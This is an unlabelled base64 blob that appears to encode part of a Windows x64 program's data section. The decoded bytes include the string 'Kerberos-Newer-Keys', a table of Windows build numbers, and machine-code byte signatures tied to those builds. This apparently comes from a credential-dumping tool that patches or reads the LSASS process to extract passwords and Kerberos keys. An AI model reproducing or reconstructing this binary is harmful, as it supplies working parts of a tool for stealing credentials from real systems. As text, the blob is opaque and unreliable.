AAAAAAAAAAAAAAAAAAAAAAAAAAACIAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAMAAAACAAAAP////8AAAAAAAAAAGBjBIABAAAAAQAAAAAAAAABAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABhzB4ABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGHMHgAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYcweAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABhzB4ABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGHMHgAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwHgHgAEAAAAAAAAAAAAAAAAAAAAAAAAA4GUEgAEAAABgZwSAAQAAAPBVBIABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAsHEHgAEAAABwcweAAQAAAEMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP//////////AAAAAAAAAACAAAoKCgAAAGJoBIABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEAAAAAAAACAgICAgICAgICAgICAgICAgICAgICAgICAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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AAAAAAAAAAAAAAAABQAAAAAAAADYjgeAAQAAAAEAAAAAAAAAInsHgAEAAADz////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAACSNB4ABAAAABgAAAAAAAACsjAeAAQAAAPX///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAoAAAAAAAAAoI4HgAEAAAAGAAAAAAAAAKyMB4ABAAAA/P///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAAAAAAAAAAYjQeAAQAAAAEAAAAAAAAAInsHgAEAAAD+////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJAAAAAAAAAKCBB4ABAAAAAQAAAAAAAAAieweAAQAAAPD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcAAAAAAAAA/IEHgAEAAAAGAAAAAAAAAKyMB4ABAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADQAAAAAAAAB4jQeAAQAAAAEAAAAAAAAAInsHgAEAAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAKSMB4ABAAAAAQAAAAAAAAAieweAAQAAAP7///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUAAAAAAAAALI0HgAEAAAABAAAAAAAAACJ7B4ABAAAA8////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABwAAAAAAAAA8jQeAAQAAAAYAAAAAAAAArIwHgAEAAAD1////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKAAAAAAAAAPCBB4ABAAAABgAAAAAAAACsjAeAAQAAAPz///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwAAAAAAAAAuI4HgAEAAAABAAAAAAAAACJ7B4ABAAAA/v///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACQAAAAAAAACIjQeAAQAAAAEAAAAAAAAAInsHgAEAAADw////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHAAAAAAAAAMSBB4ABAAAABgAAAAAAAACsjAeAAQAAABIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAA0IEHgAEAAAABAAAAAAAAACJ7B4ABAAAADwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAAAAACAgQeAAQAAAAEAAAAAAAAAInsHgAEAAAD+////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFAAAAAAAAAEyCB4ABAAAAAQAAAAAAAAAieweAAQAAAPL///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABEAAAAAAAAAkIwHgAEAAAABAAAAAAAAACJ7B4ABAAAAGwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACgAAAAAAAAC4gQeAAQAAAAEAAAAAAAAAInsHgAEAAAAJAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALAAAAAAAAAEiNB4ABAAAAAQAAAAAAAAAieweAAQAAAPX///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAkAAAAAAAAAGIIHgAEAAAABAAAAAAAAACJ7B4ABAAAA7////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABwAAAAAAAACIgQeAAQAAAAYAAAAAAAAArIwHgAEAAAASAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALAAAAAAAAAJCOB4ABAAAAAQAAAAAAAAAieweA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